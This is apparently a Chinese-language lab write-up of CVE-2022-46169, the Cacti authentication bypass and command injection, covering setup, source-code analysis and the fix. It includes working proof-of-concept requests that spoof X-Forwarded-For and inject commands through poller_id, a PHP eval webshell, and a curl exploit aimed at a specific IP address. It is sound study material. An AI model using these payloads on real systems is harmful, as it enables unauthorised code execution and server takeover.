0%

[漏洞]-CVE-2022-46169

本文分析CVE-2022-46169漏洞,详细讲述相关的复现场景和技术细节

[漏洞篇]CVE-2022-46169 :PHP身份鉴权绕过与命令注入执行


一、基本信息

标题 描述
项目 基于php语言的开源平台的身份鉴权绕过与命令注入执行
公布日期 2023年2月16日
更新日期 2023年2月16日
CVE编号 [CVE-2022-46169](NVD - CVE-2022-46169 (nist.gov))
严重等级评估 9.8-来自NVD-CVE-2022-0543
影响版本 Cacti系统**< 1.2.23** 影响
修复 已在 1.2.x 和 1.3.x 版本分支中得到解决

二、漏洞简述

Cacti 是一个开源平台,为用户提供了一个强大且可扩展的操作监控和故障管理框架。在受影响的版本中,如果为任何受监控设备选择了特定数据源,则命令注入漏洞允许未经身份验证的用户在运行 Cacti 的服务器上执行任意代码。


三、环境搭建

  • vulhub部署漏洞环境-我的是基于linux系统下
  • burpsuite等抓包工具

步骤A

在 vulhub 中拉取 CVE-2022-46169 镜像

1
2
3
cd vulhub-master/Cacti/CVE-2022-46169/
docker-compose up -d
//拉取之后发现8080端口已经在环境起好了

步骤B

访问http://your_ip:your_port即可,如下图

1671182791178-ea22a02a-7451-4ad6-b9fb-03dcc3a17651.495a9459

账户密码都是admin,然后直接next点击默认安装即可,进去如下图

9a886a0dde695ce497ee04896e01d45

漏洞环境搭建工作完成


四、POCs

1
2
3
4
5
6
7
8
9
GET/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/1` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: your-localhost:your-port
User-Agent: Mozilla/5.0(X11;Linuxx86_64;rv:91.0)Gecko/20100101Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: close
Upgrade-Insecure-Requests: 1
1
2
3
4
5
6
7
8
9
10
11
12
13
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`id>1.txt`
X-Forwarded-For: 127.0.0.1
Host: your-localhost:your-port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache

c02efb51208e2b14d32dc1b697aa38b

(这里面如何进入docker容器的方法:)

1
docker exec -it 2f4f2925a13f /bin/bash #这里说一下/bin/bash就是命令执行处,前面是你的docker容器编号,具体怎么查看可以使用docker ps

这里贴一篇讲解文章:(Linux环境)如何进入Docker容器下的MySQL数据库?_linux 进入mysql docker-CSDN博客


五、漏洞原理分析

漏洞整体分为两部分是登录绕过与命令注入

这里我们可以到github上查看一下修复方案,这里面已经给到了漏洞出现地方以及修复方案:

1
https://github.com/Cacti/cacti/commit/7f0e16312dd5ce20f93744ef8b9c3b0f1ece2216

源码环境搭建:

该系统为开源系统,github 地址:https://github.com/Cacti/cacti

直接选择 1.2.22 Release 版本下载并进行安装,根目录下有一个 cacti.sql ,导入数据库,然后将 include/config.php.dist 复制为 include/config.php ,并将数据库配置按自己的改好,我用的phpstudy +Navicat Premium在本地搭建,而为什么会提到要费心思本地源码搭建是因为我的docker里面数据库服务是起了的但是无法访问查询操作,我索性在本地起服务,方便我之后的查询操作

这里我遇到的问题就是Navicat Premium和本地mysql服务起冲突,我之前装过mysql workbench,所以在phpstudy再起的时候把端口调整一下,然后新建数据库导入sql文件,

访问 http://localhost/cacti/ 进行安装,安装的时候会提醒你的php环境和mysql的问题

a51a49bdbd3fccaac62c171da47310d

根据提示改就行了

身份绕过:

根据commit的提示

6a93af7bca7f3262fd4b9ecc516869a

image-20221208205347932

我们启动php编译环境进去先看一下auth_login.php文件查看(这里就采用静态审计的方法了),因为commit大部分会围绕get_client_addr()进行修复,我们可以跟进看一下这个函数

0729ef8fe25855bc1d389624c5bb462

我们来到这一页,很显然易见的发现的一点,用户传过来的所有信息是用户可操控的(指的是可以通过改包来操控),在修复版本中修改的代码则是限制了获取,不让从这些可控的参数中取值,因此可以猜测这个与登录绕过存在关系。

这个文件就到这里,其实最多是集中在remote_agent.php这个文件中,我们进去看一下,首先发现有多php资源的加载和获取,但是没有什么可说的,直接往下

image-20240730232136901

这里有一个认证身份的代码块,我在本地测试时候也遇到过,跟进函数看一下

image-20240730232303001

很明显又遇到了get_client_addr()函数,而且我们知道他的功能是获取网页用户的信息,再往下看,我也写了注释,这里会发起一些检测ip地址等操作,不用理会,往下看

1
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);  //sql语句,进行从poller表中获取所有的$pollers

到了这句我们发现执行了个sql查询,我在本地sql服务查了这个表之后

image-20240730232758384

再往下看就是一个判断,大致是对ip进行身份验证,然后进行返回,其实很容易看出来是在验证是否为本地ip地址,这里鸡肋的一点是如果在渗透性测试的时候需要进行一个ip字段爆破,获得host主机域名(内网)

1
$client_name = gethostbyaddr($client_addr);

image-20240730233033381

身份鉴权绕过大致是这样,由于我们参数可控,可以采用暴力猜解等方法,进行爆ip和构造X-Fowarded-For:127.0.0.1(在linux里面通常127.0.0.1就是localhost,win系统偶尔会出问题)等等。

命令注入:

我们再回到原来的位置,继续向下,这里有一个set_default_action();我们可以进去看一下执行了什么

image-20240730233637790

就是是否存在 action 参数,不存在就设置为 $default ,存在就对其进行赋值,这里是 $_REQUEST ,可以是 post 或者 get,这里记住action参数的出现,我们回去继续向下,接下来会触发switch····case如果action是polldata就会执行poll_for_data();函数,而这个函数是被修复的

image-20221208224607609

我们跟进去看一下,接下来重头戏来了,首先我们可以看到参数的获取,他们是从get_filter_request_var()函数获取,我们可以看一下发现几乎没有任何过滤,就是从请求拿信息,这也对照了POC里面三个参数的来源

1
2
3
$local_data_ids = get_nfilter_request_var('local_data_ids');  //是一个数组
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id');

继续往下看

image-20240730234433565

不难发现会根据$host_id和$local_data_ids会被作为sql查询的标准来从poller_item这个表里面找信息,然后存到数组items,本地查了一下,这里刚好发现里面有action这个参数,猜测可能要获取action的值

接下来会进入一个switch···case,这里会用action的值进行选择,这里显然易见发现一个命令执行,这里是在$poller_id这里,和上面的获取参数就呼应了

1
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);

然后对标case:POLLER_ACTION_SCRIPT_PHP发现他被定义成2,就是action=2,这里也说明了上面两个参数的作用,在真实的渗透场景可能需要爆字段来获取


六、EXP+PAYLOAD

我采用了反弹shell和一句话木马的方式,最后木马打通了,可能docker环境弹shell有问题,但原理上没有过滤是可行的

1
<?php @eval($_POST['a']); ?>

微信图片_20240730235607微信图片_20240730235600

这里还有一个利用curl打通的指令,可以执行相似的发包操作

1
curl -H "X-Forwarded-For:127.0.0.1" http://47.236.242.43:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`xxxx`

七、修复

官网已经公布修复版本

1
https://github.com/Cacti/cacti

八、总结

漏洞总结

该漏洞主要集中存在于文件之中remote_agent.php,其中主要是身份绕过和命令注入,身份绕过需要爆破ip,伪造等操作绕过,命令注入也需要爆破相应的字段进行参数构造,后续的命令执行也存在一些难度,这里需要爆破技术,拿shell方法和一定的代码审计能力

声明:

本文只应用与信息安全的交流与学习,此为作者学习记录,请勿利用文章相关技术从事非法活动,如因此产生任何的不良后果与文章作者无关,本文仅供学习参考。

坚持原创,如鼓励可以赏一杯甜水🥤